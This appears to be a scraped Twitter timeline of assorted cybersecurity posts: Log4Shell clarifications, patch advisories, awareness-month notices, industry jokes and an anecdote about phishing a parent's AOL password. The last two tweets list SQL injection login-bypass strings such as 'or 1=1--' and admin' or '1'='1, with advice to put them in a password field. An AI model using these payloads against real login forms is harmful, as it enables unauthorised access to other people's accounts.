EmmsSec

[EmmsSec @EmmsSec]

@FlippieFinance What’s your recommended capital amount for each stock? 5k or 20k each?

[EmmsSec @EmmsSec]

@SurgeVancouver Emmons

[Rob Fuller @mubix]

10 #Log4Shell Facts vs Fiction: a 🧵
1. 1.x is NOT vuln to this RCE. While it doesn't have another RCE, it requires access to send serialized data to a listener ON the log server. This is much MUCH harder to exploit and kind of rare for a Log4j server to be running.

[PCI SSC @PCISSC]

For week 2 of #CyberSecurityMonth the Council shares tips to defend against #phishing attacks. #BeCyberSmart @staysafeonline Read more:
https://t.co/YOPwGwkd3u

[Cybersecurity and Infrastructure Security Agency @CISAgov]

October is National Cybersecurity Awareness Month. Read the press release: https://t.co/08cQPrdn4R

[Jake Williams @MalwareJake]

SOC analyst responding to a volumetric DDoS by calling their ISP helpdesk...

[Nick Percoco @c7five]

There is a new @defcon contest in here someplace...

[PCI SSC @PCISSC]

New on the blog: Looking Ahead to PCI DSS v4.0
https://t.co/PyI0sb8mEj

[Steve Ragan ⚠️ @SteveD3]

Here's a fun game: Guess the password needed to unlock his PC...

[David Byttow @davidbyttow]

My mom controlled our AOL account when I was about 13 and would come into my room to sign me in. So, I created an entirely fake AOL login flow in Visual Basic and had her sign me in once to capture the password. Old school phishing.

[Morgan @Nag_FR]

When your kid asks for a switch for Christmas

[Sean Metcalf @PyroTek3]

Patch your Domain Controllers running DNS (typical config, so most orgs) ASAP.
DNS remote code execution vulnerability which runs as LocalSystem on Windows DNS server (usually a DC).
https://t.co/lz1r4yA5Ap

[John Hubbard @SecHubb]

Ever wonder where Windows log descriptions come from? I was going deep on the logging section of my upcoming @SANSInstitute #SEC450 Blue Team Fundamentals class and ended up with this cool PowerShell command. It dumps all the XML fields and message templates for any event ID!

[x0rz @x0rz]

me irl, trying to keep up with work, e-mails, discord and twitter

[Emad Shanab - أبو عبد الله @Alra3ees]

Web App Hacking Notes.

Notes I've taken while working through various web app pentesting labs, tutorials, books, and videos. https://t.co/kNJgYEFfcs

[x0rz @x0rz]

What is a #redteam success? :D https://t.co/aGuP4pUK3r

[ZDNET @ZDNET]

Bitfi finally gives up claim cryptocurrency wallet is unhackable https://t.co/YivuDiRe70 by @SecurityCharlie

[Emad Shanab - أبو عبد الله @Alra3ees]

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#

[Emad Shanab - أبو عبد الله @Alra3ees]

SQL injection strings.
Use them in the password field.

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

") or ("a"="a